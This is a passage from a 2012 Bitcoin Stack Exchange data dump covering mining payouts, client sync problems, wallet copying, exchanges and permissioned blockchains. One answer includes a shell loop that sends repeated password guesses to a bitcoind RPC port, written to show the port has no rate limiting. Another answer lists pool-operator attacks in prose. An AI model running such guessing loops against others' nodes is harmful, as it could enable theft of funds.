  <row Id="3479" PostTypeId="1" AcceptedAnswerId="3481" CreationDate="2012-04-23T22:33:11.460" Score="3" ViewCount="149" Body="&lt;p&gt;In &lt;a href=&quot;https://bitcointalk.org/index.php?topic=77825&quot; rel=&quot;nofollow&quot;&gt;this thread&lt;/a&gt; on the Bitcoin forums it was suggested that a local attack on bitcoind might be possible through malformed img tags or (more likely in my opinion) through embedded flash. This also brings up the possibility of exploitation via Java et al.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately I don't know enough about flash to determine whether it's prevented from connecting to a listening client on localhost. I would assume it's sandboxed away from anything else on the local network, but I honestly don't know if they've bothered to restrict access to localhost.&lt;/p&gt;&#xA;" OwnerUserId="22" LastEditorUserId="22" LastEditDate="2012-04-24T05:17:36.107" LastActivityDate="2012-04-24T16:14:55.567" Title="Is an attack on a local bitcoind via an img or embedded flash viable?" Tags="|security|attack|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3480" PostTypeId="2" ParentId="3478" CreationDate="2012-04-23T22:36:15.233" Score="4" Body="&lt;p&gt;Where I've seen it, it refers to the mining payment method &quot;Pay per share&quot;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/1505/what-is-a-share-can-i-find-it-while-mining-solo-or-only-when-pool-mining&quot;&gt;This question&lt;/a&gt; has an answer that describes what a &quot;share&quot; is.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On some mining sites that have existed, the earnings for a share have been essentially paid immediately. However, this method exposes the pool operator to a possibility of loss in the case that, on average, they find less that the expected number of blocks. This can be made much worse by a large miner participating in the pool and performing a &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/1338/how-is-block-solution-withholding-a-threat-to-mining-pools&quot;&gt;block-withholding-attack&lt;/a&gt;. To prevent these problems, most pool operators prefer slightly modified pay-per-share methods of payment, such as &lt;a href=&quot;https://bitcoin.stackexchange.com/q/1508/516&quot;&gt;SMPPS&lt;/a&gt; (Shared Maximum Pay Per Share).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A payment method is not strictly Pay Per Share if the earnings aren't available for payout immediately, or if risk is passed on to the miner. Note also that it may not always be clear how much of a fee is being charged by a pool operator; it can be as low as 0% or as high as 7% (but if they tell you the payment per share, you should be able to work it out by dividing the block reward of 50BTC by the current difficulty and comparing it with what the pool pays).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A pool would not payout 105% or 110% except perhaps as a promotion when it is trying to increase its number of participants and offers an increased reward such as 55BTC per block (ie 110% of what is earned) at its own cost.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update: The &lt;a href=&quot;https://bitcointalk.org/index.php?topic=75126.msg832718#msg832718&quot; rel=&quot;nofollow noreferrer&quot;&gt;discussion you linked to&lt;/a&gt; in your comment is regarding the issue of mining &quot;bonds&quot; where the issuer promises to pay 110% of the shares mined. Each bond appears to be selling for around 0.6BTC, and represents 2Mh/s of mining speed. Given that the bonds are &quot;perpetual&quot;, presumably the issuer has allowed for equipment replacement and maintenance costs, and power etc. Payouts are advertised as &quot;currently 110% of PPS&quot;, so it is presumably a promotional offer. The issuer must be earning a margin somewhere along the way to cover the cost.&lt;/p&gt;&#xA;" OwnerUserId="516" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.743" LastActivityDate="2012-04-24T03:22:01.693" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="3481" PostTypeId="2" ParentId="3479" CreationDate="2012-04-24T01:52:11.463" Score="2" Body="&lt;p&gt;&lt;a href=&quot;http://code.google.com/p/browsersec/wiki/Part2#Same-origin_policy_for_Flash&quot; rel=&quot;nofollow&quot;&gt;This page&lt;/a&gt; says that a Flash applet can only access the port and hostname of the URL from which it was downloaded:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Adobe Flash, a plugin believed to be installed on about 99% of all&#xA;  desktops, incorporates a security model generally inspired by browser&#xA;  same-origin checks. &lt;strong&gt;Flash applets have their security context derived&#xA;  from the URL they are loaded from&lt;/strong&gt; (as opposed to the site that embeds&#xA;  them with  or  tags), and within this realm, &lt;strong&gt;permission&#xA;  control follows the same basic principle as applied by browsers to DOM&#xA;  access: protocol, host name, and port of the requested resource is&#xA;  compared with that of the requestor&lt;/strong&gt;, with universal access privileges&#xA;  granted to content stored on local disk. That said, there are&#xA;  important differences - and some interesting extensions - that make&#xA;  Flash capable of initiating cross-domain interactions to a degree&#xA;  greater than typically permitted for native browser content.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;But apparently that applies to the result of a request not the request itself, so it's possible a Flash applet could send a request to your bitcoind to transfer coins, but not check to see whether it worked or not.  Using wallet encryption would help mitigate this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've been able to find balances using simple HTTP 'POST' requests:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ echo '{&quot;method&quot;:&quot;getbalance&quot;,&quot;params&quot;:[&quot;&quot;]}' | POST http://$user:$pass@localhost:8332/&#xA;{&quot;result&quot;:-6203.99412537,&quot;error&quot;:null,&quot;id&quot;:null}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I don't know if it's possible using just a regular 'GET' request.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: I just tried 'guessing' the wrong password 100 times in a row, and then getting it right.  bitcoind didn't stop accepting guesses or slow down at all, and accepted the final correct guess:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ i=100; while ((i&amp;gt;0)); do ((i--)); echo $(echo $i; date;&#xA;  echo '{&quot;method&quot;:&quot;getbalance&quot;,&quot;params&quot;:[&quot;&quot;]}' |&#xA;  POST http://$user:guess$i@localhost:8332/ 2&amp;gt;&amp;amp;1 | grep -i body);&#xA;  done; echo '{&quot;method&quot;:&quot;getbalance&quot;,&quot;params&quot;:[&quot;&quot;]}' |&#xA;  POST http://$user:$pass@localhost:8332/&#xA;99 Tue Apr 24 09:10:10 PDT 2012 &amp;lt;BODY&amp;gt;&amp;lt;H1&amp;gt;401 Unauthorized.&amp;lt;/H1&amp;gt;&amp;lt;/BODY&amp;gt;&#xA;98 Tue Apr 24 09:10:10 PDT 2012 &amp;lt;BODY&amp;gt;&amp;lt;H1&amp;gt;401 Unauthorized.&amp;lt;/H1&amp;gt;&amp;lt;/BODY&amp;gt;&#xA;[...]&#xA;1 Tue Apr 24 09:10:53 PDT 2012 &amp;lt;BODY&amp;gt;&amp;lt;H1&amp;gt;401 Unauthorized.&amp;lt;/H1&amp;gt;&amp;lt;/BODY&amp;gt;&#xA;0 Tue Apr 24 09:10:53 PDT 2012 &amp;lt;BODY&amp;gt;&amp;lt;H1&amp;gt;401 Unauthorized.&amp;lt;/H1&amp;gt;&amp;lt;/BODY&amp;gt;&#xA;{&quot;result&quot;:-6203.99412537,&quot;error&quot;:null,&quot;id&quot;:null}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="659" LastEditorUserId="659" LastEditDate="2012-04-24T16:14:55.567" LastActivityDate="2012-04-24T16:14:55.567" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="3484" PostTypeId="2" ParentId="3478" CreationDate="2012-04-24T07:49:51.300" Score="3" Body="&lt;p&gt;PPS is &quot;pay per share&quot;, a mining pool reward system where the operator gives a set payment per share submitted proportional to its average worth, regardless of how many valid blocks the pool finds. This way the miner doesn't suffer any variance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By extension, 100% PPS is the reward that would have been given for a certain hashrate at a PPS pool without a fee. 110% PPS is 110% this amount, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some pools, for example Chaang-Noi's project, are really pool-hopping proxies so they are able to offer &gt;100% PPS to miners. Things like merged mining, preference for newly generated coins, attacks on Bitcoin or alternative currencies or using the hashrate for things unrelated to Bitcoin - or proxying to gpumax.com, which itself is based on any of the above - can also allow a pool to offer &gt;100% profitably. It could also be a promotional offer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some mining bonds state that they pay &gt;100% PPS as a marketing gimmick.&lt;/p&gt;&#xA;" OwnerUserId="575" LastEditorUserId="575" LastEditDate="2012-04-24T08:06:10.250" LastActivityDate="2012-04-24T08:06:10.250" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3486" PostTypeId="1" AcceptedAnswerId="3496" CreationDate="2012-04-24T14:06:47.773" Score="0" ViewCount="430" Body="&lt;p&gt;Bitcoin client stuck. Tried to rebuild whole blockchain, but it went up to that number and got stuck again. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a screenshot: &lt;a href=&quot;http://vvcap.net/db/2IR75OWyJj5AsUW7eo_i.htp&quot; rel=&quot;nofollow&quot;&gt;http://vvcap.net/db/2IR75OWyJj5AsUW7eo_i.htp&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions?&lt;/p&gt;&#xA;" OwnerUserId="30" LastEditorUserId="5406" LastEditDate="2015-08-20T10:53:22.170" LastActivityDate="2015-08-20T10:53:22.170" Title="Bitcoin client 0.4.1.1 stuck at block 176947" Tags="|blockchain|synchronization|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3487" PostTypeId="1" AcceptedAnswerId="4579" CreationDate="2012-04-24T15:23:11.087" Score="1" ViewCount="413" Body="&lt;p&gt;I have just started up my client &lt;i&gt;GUIMiner&lt;/i&gt; for the first time.  It was downloading the block chain without any issue and got up to 99% where it has been stuck for the past 1 to 1.5 hours.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this normal behavior?&lt;/p&gt;&#xA;" OwnerUserId="1306" LastEditorUserId="11928" LastEditDate="2017-12-02T11:02:17.357" LastActivityDate="2017-12-02T11:02:17.357" Title="GUIMiner stuck at 99% Done for over 1 hour" Tags="|client|guiminer|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="3488" PostTypeId="1" AcceptedAnswerId="3492" CreationDate="2012-04-24T16:51:29.400" Score="3" ViewCount="504" Body="&lt;p&gt;This issue came up in this question - &lt;a href=&quot;https://bitcoin.stackexchange.com/q/3473/323&quot;&gt;Are the miners concerned with what the pool operators do with their hashpower?&lt;/a&gt;. What can a pool operator do with their miners' hashpower?&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.583" LastActivityDate="2016-03-31T10:26:22.350" Title="What can a pool operator do with their miners' hashpower?" Tags="|mining-pools|security|hashpower|pool-operators|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3489" PostTypeId="2" ParentId="3488" CreationDate="2012-04-24T18:49:04.917" Score="0" Body="&lt;p&gt;They can do whatever the contract between the pool miner and the pool operator doesn't prohibit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's say I offer to buy aluminum cans for ten cents apiece.  You like the idea of recycling so you sell me your cans.  But instead of recycling them I burn them.  Did I violate the agreement?  No.  We had no agreement that the cans must be recycled.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;CoinLab, for instance, &lt;a href=&quot;http://www.geekwire.com/2012/bitcoin-startup-coinlab-lands-funding-tim-draper-monetize-games/&quot; rel=&quot;nofollow&quot;&gt;is going to be providing software&lt;/a&gt; in which they buy all the hashing that gets mined and in exchange pays out in credits that can be redeemed with certain gaming companies.  That agreement will probably be essentailly no more specific than something to the effect of &quot;posted rate will paid per level of hashing performed&quot;.  From there, they can do whatever they want with the hashing power, as long as they pay out as agreed to in the contract.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If there's no contract, then there are no such restrictions on what the pool operator can do with that hashing power -- legal issues aside.  For example, if the pool operator does a 51% attack and double spends, that is fraud and illegal regardless of what a contract says the pool operator can do with the hashes.&lt;/p&gt;&#xA;" OwnerUserId="153" LastEditorUserId="153" LastEditDate="2012-04-24T22:14:09.683" LastActivityDate="2012-04-24T22:14:09.683" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3490" PostTypeId="2" ParentId="3486" CreationDate="2012-04-24T18:53:53.007" Score="0" Body="&lt;p&gt;The blockchain chews up well over a gigabyte of disk space.  Are you running out of disk space?&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2012-04-24T18:53:53.007" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3491" PostTypeId="1" AcceptedAnswerId="3494" CreationDate="2012-04-24T18:59:06.743" Score="6" ViewCount="296" Body="&lt;p&gt;In the &lt;a href=&quot;http://www.geekwire.com/2012/bitcoin-startup-coinlab-lands-funding-tim-draper-monetize-games&quot;&gt;announcement on GeekWire&lt;/a&gt; that CoinLab had received seed funding, there was a statement that I found interesting:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;CoinLab will pay game companies in government currency, not Bitcoin, and will use price hedging strategies to protect its own interests.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;What type of hedging might they employ and why?  And from where?&lt;/p&gt;&#xA;" OwnerUserId="153" LastEditorUserId="18196" LastEditDate="2016-03-18T19:55:15.860" LastActivityDate="2016-03-18T19:55:15.860" Title="What type of hedging might CoinLab be employing?" Tags="|speculation|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3492" PostTypeId="2" ParentId="3488" CreationDate="2012-04-24T19:09:30.267" Score="2" Body="&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Commit double-spends, either themselves or for hire. If the transactions reversed are accepted with 0 confirmations, they don't need a very high hashrate to do this with some effectiveness.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;DoS attack on Bitcoin, by including no transactions in blocks and rejecting all other blocks. This requires ~50% to be done effectively.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Similar attacks on alternative blockchain-based currencies, which is easier since they are usually smaller.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Merged mining - not nefarious in itself, but should be done only at the agreement of miners.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Coin mixing - paying generated coins to people in need of fresh coins, receiving from them independent funds to be paid to miners. (Illegal if done for the purpose of money laundering)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Include too few transactions, making it harder for people to have their transaction accepted.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Include too many transactions in a possible future scenario where a transaction fee equilibrium is obtained by a gentleman's agreement not to include transactions too cheaply.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Things unrelated to Bitcoin, such as password cracking (generally possible only with custom mining software).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="575" LastEditorUserId="153" LastEditDate="2012-04-24T22:16:32.973" LastActivityDate="2012-04-24T22:16:32.973" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3493" PostTypeId="1" CreationDate="2012-04-24T22:06:13.107" Score="9" ViewCount="2627" Body="&lt;p&gt;Since Tradehill disappeared, which was really sad, I cannot find any Bitcoin exchange that let's me deposit and withdraw euros without fees, while they do for US dollars.&#xA;Both Mt.Gox and Intersango have a 10-20 PLN fee that their bank charge. While Bitstamp has a 0.90 EUR fee + a EUR-USD conversion rate.&#xA;Note that I'm looking for a real exchange, not for a person-to-person service like Bitmarket.eu or Bitcoin.de.&lt;/p&gt;&#xA;" OwnerUserId="1307" LastEditorUserId="1878" LastEditDate="2013-03-14T04:12:21.597" LastActivityDate="2014-02-07T01:57:24.243" Title="Is there any Bitcoin Exchange that doesn't have fees for euro SEPA deposits/withdrawals?" Tags="|exchanges|marketplace|exchange-fees|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="3494" PostTypeId="2" ParentId="3491" CreationDate="2012-04-25T02:42:02.837" Score="4" Body="&lt;p&gt;Bitcoins are easy to hedge against delivery by pre-selling, provided your working capital calculations are properly sorted, and you understand timing constraints throughout the systems you're dealing with.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We will sometimes be delivering digital goods through an intermediate currency as well, and we will use existing financial markets to sort/hedge that leg.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Shorting on Bitcoinica is another possibility, although it doesn't remove the need to manage your working capital (or credit lines)&lt;/p&gt;&#xA;" OwnerUserId="1308" LastActivityDate="2012-04-25T02:42:02.837" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3495" PostTypeId="2" ParentId="1106" CreationDate="2012-04-25T04:02:23.220" Score="0" Body="&lt;p&gt;If you price bitcoin out using Black-Scholes, you will at some point wish to calculate the volatility. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Black-Scholes imagines a normal non-trended distribution for your volatility component, almost certainly wrong for bitcoin, but probably more conservative than is appropriate, so let's use it as a lower bound.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The last time I did the math, things were a bit crazier than they are now, but I came out with annual volatility in the 300-600% range.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another way of saying this is that you can't usefully transact options in bitcoins out past two or three months; the fair price of a put or call is going to be 99%+ of buying the underlying.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To re-re-state, financial derivatives aren't a magic bullet; they can move risk around, but they can't erase it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think a better approach (and one we're working on at CoinLab) is to assess what transaction window you feel safe holding Bitcoins, and then assess what business models will work in that window.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To answer your question re: the Bitcoin protocol itself, let's imagine that you don't need a protocol change, that is you want to add derivatives of some sort to the current setup without a need for miners to change what they do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think you probably could shoehorn them in with some judicious use of multi-party pay scripts, but they would necessarily rely on outside data -- the 'exchange rate' is really just an order book, perhaps aggregated from a number of exchange sites, there is nothing relating to fiat currencies baked into the Bitcoin mechanism in any way. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could add some transactions that release funds based on a code offered by a trusted server when it sees an exchange rate trigger, but that's really a lot of work, and probably not worth it. &lt;/p&gt;&#xA;" OwnerUserId="1308" LastActivityDate="2012-04-25T04:02:23.220" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3496" PostTypeId="2" ParentId="3486" CreationDate="2012-04-25T11:20:26.087" Score="1" Body="&lt;p&gt;I just downloaded version 4.4.1.1 to try to reproduce your problem, but couldn't.  Here's the beginning, and relevant mid-section of the debug.log file when I ran it on a machine which I hadn't used for a month or so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Bitcoin version 0.4.1.1-beta&#xA;Default data directory /home/user/.bitcoin&#xA;Bound to port 8333&#xA;Loading addresses...&#xA;dbenv.open strLogDir=/home/user/.bitcoin/database strErrorFile=/home/user/.bitcoin/db.log&#xA;Loaded 19026 addresses&#xA; addresses              1337ms&#xA;Loading block index...&#xA;LoadBlockIndex(): hashBestChain=000000000000052e27b6  height=173760&#xA; block index           13603ms&#xA;Loading wallet...&#xA;[...]&#xA;SetBestChain: new best=0000000000000959beb5  height=176945  work=302325188992488282894&#xA;SetBestChain: new best=000000000000011c616f  height=176946  work=302331966182716897933&#xA;SetBestChain: new best=000000000000052c233f  height=176947  work=302338743372945512972&#xA;SetBestChain: new best=00000000000002c5eaa8  height=176948  work=302345520563174128011&#xA;SetBestChain: new best=000000000000089bf6dd  height=176949  work=302352297753402743050&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Maybe you could show us yours?  I tend to agree with Stephen that it's likely a disk space problem.&lt;/p&gt;&#xA;" OwnerUserId="659" LastActivityDate="2012-04-25T11:20:26.087" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3497" PostTypeId="1" AcceptedAnswerId="3499" CreationDate="2012-04-25T14:58:42.460" Score="10" ViewCount="4579" Body="&lt;p&gt;Let's say I copy my wallet to another computer and start using it there. What happens? Can both computers send and receive payments to the same address(es) in the wallet?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A different scenario with the same results: someone steals my computer and starts using my wallet. I have a backup and start using that. Can we do it?&lt;/p&gt;&#xA;" OwnerUserId="1304" LastActivityDate="2017-07-14T09:49:24.903" Title="What happens when the same wallet (private key) is used on several machines?" Tags="|wallet|backup|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3498" PostTypeId="2" ParentId="3497" CreationDate="2012-04-25T16:06:04.780" Score="3" Body="&lt;p&gt;This should work just fine, for the most part, though it's not recommended. What would not be fine is multiple PCs accessing the same wallet.dat from, say, dropbox at the same time. The BerkeleyDB format Bitcoin uses for its wallet is not intended to be a multi-user database and as such this can cause problems if both systems attempt an action at the same time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It should also be noted that if you copy your wallet to a new system and make a transaction it can become out-of-sync with the old copy of the wallet, since Bitcoin generates new addresses to receive the &quot;change&quot; from each transaction by default.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In short, two systems using the same wallet can be done but it's not recommended because of the unexpected results it can produce. If you're simply talking about a backup/restore of the wallet.dat then that's much less troublesome.&lt;/p&gt;&#xA;" OwnerUserId="22" LastActivityDate="2012-04-25T16:06:04.780" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3499" PostTypeId="2" ParentId="3497" CreationDate="2012-04-25T16:08:26.960" Score="10" Body="&lt;p&gt;A wallet is a combination of private keys, and transactions that spend from/to it.&#xA;Since somewhere in the 0.3 series, bitcoin will detect transactions from a key of yours that you did not create yourself, and count them as spends.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This means that if you duplicate your wallet on several machines, they will all be able to do spends, and observe spends by others. Probably as much as you would hope for, but there are a few caveats:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The wallet contains 100 pre-generated keys to simplify backups, so the first 100 new keys used by both clients will remain the same, but afterwards they will diverge, i.e. start using different keys. You do not want this to happen, which means you will need to synchronize the wallet files at least once every 100 transactions (i.e., copy from one place to the other).&lt;/li&gt;&#xA;&lt;li&gt;If one of the clients is not yet aware about a spend done by the other (for example, it was offline at the time of the transaction submit, and hasn't caught up with the block chain yet), it may produce a transaction that uses the same input, in other words: a double spend. The software is not able to deal with this, as it will consider its own transactions unquestionably valid. This will probably result in an unusable wallet.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;In short: there are some provisions for detecting spends by copy of a wallet, but it's certainly not an encouraged or supported use case.&lt;/p&gt;&#xA;" OwnerUserId="208" LastEditorUserId="659" LastEditDate="2012-04-25T18:09:52.063" LastActivityDate="2012-04-25T18:09:52.063" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3500" PostTypeId="2" ParentId="3497" CreationDate="2012-04-25T18:14:38.430" Score="5" Body="&lt;p&gt;To answer the part about the stolen wallet, the thief would immediately transfer the balance of your stolen wallet into his own wallet, and repeat the process regularly.  So whenever you added more Bitcoins to your wallet, they would vanish as the thief stole them.  So you would be able to share the stolen wallet with the thief, but it would be a very unbalanced kind of sharing, where you did all the depositing and he did all the withdrawing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You would be better off making a new wallet, transferring the Bitcoins out to the new wallet before the thief empties it, and never using any of the addresses from the old wallet as receiving addresses again.  This would involve giving new addresses to anyone or any site that stores an address of yours and is likely to ever send coins to it.&lt;/p&gt;&#xA;" OwnerUserId="659" LastActivityDate="2012-04-25T18:14:38.430" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3501" PostTypeId="1" AcceptedAnswerId="3507" CreationDate="2012-04-26T12:28:40.293" Score="4" ViewCount="336" Body="&lt;p&gt;Lets say one wanted to create a blockchain for the purposes of providing a scalable back-end for accounting for the trade of some arbitrary unit between people. It would not be a tradeable currency. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;A possible requirement for the client would be third party authentication to participate in the blockchain. I'm thinking this because a small niche population could render the blockchain vulnerable to 50% attacks, perhaps there are other ways to prevent this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Political issues aside, some enhancements have been made to the main trunk code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there any enhancements to the trunk code that are useful for general purpose implementations, or walled garden approaches?&lt;/p&gt;&#xA;" OwnerUserId="136" LastEditorUserId="3120" LastEditDate="2013-11-17T20:03:42.383" LastActivityDate="2013-11-17T20:03:42.383" Title="What client to use for an alternative special purpose blockchain?" Tags="|client|bitcoin-core|alternatives|blockchain-fork|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="3502" PostTypeId="2" ParentId="1106" CreationDate="2012-04-26T17:36:57.020" Score="0" Body="&lt;p&gt;Futures aren't financial black magic. That being said it shouldn't be hard to accept transactions without an existing input, essentially transacting not an amount of value but an address that can be transacted towards by anyone but only taken from by a single person (the future reciever).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;IOW: Enhance transactions to not require an input.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not that this quite inproper in terms of a secure transactional network, as future's are by default. I'd recommand against it.&lt;/p&gt;&#xA;" OwnerUserId="909" LastActivityDate="2012-04-26T17:36:57.020" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3503" PostTypeId="2" ParentId="3493" CreationDate="2012-04-26T23:29:16.010" Score="1" Body="&lt;p&gt;Would a non-bank transfer work?  How about getting a realoadable prepaid debit card and using that for spending / ATM use?&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2012-04-26T23:29:16.010" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3504" PostTypeId="1" AcceptedAnswerId="3510" CreationDate="2012-04-27T06:55:59.367" Score="6" ViewCount="672" Body="&lt;p&gt;I want to generate a bitcoin address.&#xA; &lt;ol&gt;&lt;li&gt;I start vanitygen, but a power loss occurs.&lt;/li&gt;&#xA; &lt;li&gt;Now I restart vanitygen.&lt;/li&gt;&lt;/ol&gt;&#xA;How does this affect the time to generate the address?&lt;/p&gt;&#xA;" OwnerUserId="1098" LastActivityDate="2012-04-28T04:21:00.250" Title="Does it take longer to generate an address when I stop and restart vanitygen?" Tags="|vanity-address|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3505" PostTypeId="2" ParentId="3504" CreationDate="2012-04-27T07:27:38.293" Score="5" Body="&lt;p&gt;It shouldn't, otherwise it would indicate a weakness in the generation of the addresses. The vanitygen should initialize itself with a random private key number each run, otherwise it would be really easy to generate an exact same vanity address someone else generated.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2012-04-27T07:27:38.293" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3506" PostTypeId="1" AcceptedAnswerId="3522" CreationDate="2012-04-27T19:41:28.093" Score="10" ViewCount="2577" Body="&lt;p&gt;Mt. Gox's sign-up page states:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Please be advised that accessing your account via the Tor network&#xA;  and/or public proxies may result in a temporary suspension of your&#xA;  account, and having to submit AML documents.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Are there other exchanges which do not have such a restriction (e.g. for transfers and account balances below $1K USD for instance?)&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2021-06-26T10:25:50.620" Title="Which exchanges are Tor-friendly?" Tags="|exchanges|mtgox|privacy|tor|aml|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3507" PostTypeId="2" ParentId="3501" CreationDate="2012-04-27T23:37:41.100" Score="3" Body="&lt;p&gt;This answer presumes that you need to retain the resilience of a P2P network where there is not a single point of failure.  It also presumes that you need an authoritative source that has the ability to maintain control so that the network is not vulnerable to a 51% attack. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I suppose you could fork the stock bitcoin client without too much effort to create an alt-chain that accomplishes this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the fork, add to the block verification a step to also check that each mined block includes a transaction from one of the authorized miners.  The way to tell if the block came from an authorized miner is to have the miner include a spend transaction that comes from a private key assigned to that miner.  (Miners would never broadcast these transactions, so if the transaction appears in a block it would mean only an authorized miner solved that block.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are a number of ways the client could learn the list of public addresses for the &quot;authorized miners&quot; list.  This list could be hard-coded into the client even, initially, if needed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's the risk of how to handle the situation where an authorized miner ends up compromised or otherwise needs to be removed from the list.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe there's an approach here that kills two birds with one stone.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have the master node broadcast a heartbeat transaction periodically.  This could be done by having the master mine a block that inserts a chunk of data, similar to how an altcoin that does merged mining works -- it has an exception as to what it considers as a valid proof of work.  In this case, any block that is from the master node is considered as a valid proof of work.  The method to use as proof that the block truly is from the master node is for the block to include a spend transaction from the public address owned by the master node. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;That heartbeat from the master could also include a checkpoint hash (e.g., &quot;confirmed by the master authority&quot;) -- to limit the damage a compromised miner could do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thus the end result is:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Normal nodes cannot mine but will exist as 